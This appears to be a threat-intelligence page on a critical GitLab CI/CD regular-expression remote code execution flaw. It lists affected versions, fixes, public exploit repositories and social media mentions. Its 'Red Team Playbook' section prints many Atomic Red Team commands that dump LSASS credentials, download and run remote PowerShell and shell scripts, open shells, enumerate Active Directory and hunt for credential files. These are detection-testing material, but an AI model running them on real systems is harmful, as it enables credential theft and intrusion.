CVE-2026-97229
Overview
This vulnerability is a remote code execution flaw caused by insufficient validation of regular expressions within GitLab's CI/CD configuration parsing. Specifically, the issue arises from improper sanitization of user-supplied regular expressions, allowing crafted patterns to bypass validation checks. The affected component is the GitLab CI/CD pipeline configuration parser, which processes these regular expressions during job execution setup.
Vulnerability Description
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.
Impact
An attacker without any authentication or user interaction can execute arbitrary code on the GitLab server hosting the CI/CD pipelines. This allows full compromise of the server environment, including access to sensitive data, modification or deletion of repositories, and potential lateral movement within the network. The vulnerability enables complete takeover of the affected GitLab instance, severely impacting confidentiality, integrity, and availability of the development infrastructure.
Solution
GitLab has released fixed versions 19.2.8, 19.3.5, and 19.4.2 that address this vulnerability by improving regular expression validation in the CI/CD configuration parser. Users should upgrade affected GitLab CE/EE instances to these versions or later immediately. Detailed patch instructions and advisory information are available at the official GitLab issue tracker and HackerOne reports linked in the vendor's security advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
GitLab CI/CD RegExp Integer Overflow Remote Code Execution
exploits/multi/http/gitlab_cicd_regexp_rce_cve_2026_97229
|
joaxcar, Jonah Burgess, jheysel-r7 | Unknown | - | View |
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jburgess-r7/CVE-2026-97229-PoC
GitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image
|
jburgess-r7 | 65 | 11 | 2026-10-13 | View |
|
murat-levi/gitlab-rce-toolkit
CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE Exploit Toolkit (CVSS 10.0)
|
murat-levi | 4 | 2 | 2026-10-29 | View |
|
gandli/cve-2026-97229-lab
CVE-2026-97229 GitLab CI lint regex integer overflow RCE — InstaBox version matrix reproduction & libruby gadget reverse...
|
gandli | 2 | 0 | 2026-10-17 | View |
|
AmpedWasTaken/CVE-2026-97229-GitLab-CI-CD-Regex-Compiler-RCE
CVE-2026-97229 — GitLab CI/CD Regex Compiler RCE
|
AmpedWasTaken | 1 | 1 | 2026-10-13 | View |
|
emc-kk/cve-2026-97229-lab
CVE-2026-97229 lab — Onigmo repeat integer overflow RCE (GitLab CE 19.2–19.4)
|
emc-kk | 0 | 0 | 2026-11-03 | View |
|
foxcornlab/gitlab-onigmo-scanner
Detection-only triage for GitLab CVE-2026-97229 (and CVE-2026-110264): grade a self-managed GitLab version plus its Ruby...
|
foxcornlab | 0 | 0 | 2026-10-30 | View |
|
Noshadi-sec/CVE-2026-97229
CVE-2026-97229 an external exploit for GitLab CI lint regex RCE. It is used only against a live GitLab target with permi...
|
Noshadi-sec | 0 | 0 | 2026-10-26 | View |
Threat Feed
25 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Active exploitation confirmed — vendor: GitLab, product: Community Edition and Enterprise Edition
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Public exploit code is available for this vulnerability
Active exploitation confirmed with 268 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
84%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (2)
Mentions (50)
200 mentions from 128 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @ahmandonk.bsky.social 2026-11-04 04:57 UTC📰 Lebih dari 1.000 Server GitLab Masih Rentan terhadap Serangan RCE, CISA Konfirmasi Eksploitasi Aktif 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/11/04/ribuan-server-gitlab-rentan-serangan-rce-cve-2026-97229/ #cisa #cve #cy…Open source
-
social bsky.app @hey-kira.bsky.social 2026-11-03 20:40 UTCAI-generated · CISA added GitLab CVE‑2026‑97229 to KEV. BleepingComputer reports 1,000+ internet‑exposed servers still unpatched. Upgrade self‑managed GitLab to 19.4.2 / 19.3.5 / 19.2.8 now; isolate public instances until patched.Open source
-
code github.com emc-kk 2026-11-03 19:22 UTCemc-kk/cve-2026-97229-labOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC3. CVE-2026-97229 · 10 people 🔥 🟥 Critical 10.0 · GitLab Integer Overflow or Wraparound in GitLabOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-03 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 71 people 2. CVE-2026-58115 · 23 people 3. CVE-2026-97229 · 10 people 🔥 4. CVE-2026-86596 · 9 people 5. CVE-2026-109618 · 6 people 🔥 🔥 = on CISA's Known Exploited list · detai…Open source
-
social bsky.app @intelnightowl.bsky.social 2026-11-03 17:40 UTCAlpine Linux will rebuild GitLab packages to mitigate the CVE-2026-97229 remote code execution vulnerability. #AlpineLinux #GitLab #CVE202697229 #RCE #LinuxSecurity https://www.bleepingcomputer.com/news/security/alpine-linux-rebuilds-gitla…Open source
-
social bsky.app @cysecuritynews.bsky.social 2026-11-03 12:58 UTCHackers Target Alpine Linux GitLab Server in Attempted Critical RCE Attack #AlpineLinux #CyberSecurity #GitLabOpen source
-
social bsky.app @cyberveille-ch.bsky.social 2026-11-03 10:30 UTC📢 Alpine Linux reconstruit son GitLab après une tentative d'exploitation RCE via CVE-2026-97229 BleepingComputer, publié le 1er novembre 2026. L'article rapporte une tentative d'attaque contre l'infrastructure GitLab du projet… 🟡 vérificat…Open source
-
social bsky.app @pmloik.bsky.social 2026-11-03 08:31 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 562 interactions CVE-2026-111497: 106 interactions CVE-2026-109618: 95 interactions Top 3 CVE for yesterday: CVE-2026-98432: 24 interactions CVE-2026-97229: 9 interactions CVE-2026-120277: 8 inter…Open source
-
social mastodon.social @117493634493945266 2026-11-03 06:16 UTCTwo CVSS 10.0 vulns last week — same score, different urgency. CVE-2026-112816 (LXD/MicroCloud): auth bypass via public certificate, no private key needed. Root on host. Public PoC exists. Not in KEV, no confirmed exploitation yet. CVE-202…Open source
-
social infosec.exchange @117354334421158714 2026-11-03 06:16 UTCTwo CVSS 10.0 vulns last week — same score, different urgency. CVE-2026-112816 (LXD/MicroCloud): auth bypass via public certificate, no private key needed. Root on host. Public PoC exists. Not in KEV, no confirmed exploitation yet. CVE-202…Open source
-
social bsky.app @opsmatters.com 2026-11-03 03:14 UTCThe latest update for #Foresiet includes "CVE-2026-97229: Alpine #Linux GitLab Security Incident" and "CISA: Ransomware Gangs Now Exploit Critical VMware vCenter Flaw". #cybersecurity #infosec https://opsmtrs.com/3J3CMGzOpen source
-
social mastodon.social @fugahogeds 2026-11-03 03:05 UTC更新されたよ、見に来てね!→ GitLab CVE-2026-97229 は KEV の期限日に1000台超、Fedora 45 は11月3日の出荷予定、Linux 7.2 系は 7.2.15 で終了、Langflow は 1.13.0 で修正済み、LXD の証明書チェーンの穴(2026/11/03 Linux・OSSトレンド) https:// blog.fuga.jp/posts/2026-11-03- linux-oss-trend/ # nvd # alpine #…Open source
-
social bsky.app @densuke.bsky.social 2026-11-03 03:05 UTC更新されたよ、見に来てね!→ GitLab CVE-2026-97229 は KEV の期限日に1000台超、Fedora 45 は11月3日の出荷予定、Linux 7.2 系は 7.2.15 で終了、Langflow は 1.13.0 で修正済み、LXD の証明書チェーンの穴(2026/11/03 Linux・OSSトレンド) https://blog.fuga.jp/posts/2026-11-03-linux-oss-trend/ #nvd #alpine #kev…Open source
-
social bsky.app @dev.to.web.brid.gy 2026-11-03 02:20 UTCOpen source
-
social bsky.app @newssecia.bsky.social 2026-11-03 01:20 UTC🤖 CVE-2026-97229 (CVSS 10.0): unauth RCE in GitLab CE/EE 19.2–19.4 via a crafted CI/CD regex (integer overflow in the regexp compiler). Actively exploited, in CISA KEV. 1,000+ servers still unpatched. Fix: 19.2.8 / 19.3.5 / 19.4.2. https:/…Open source
-
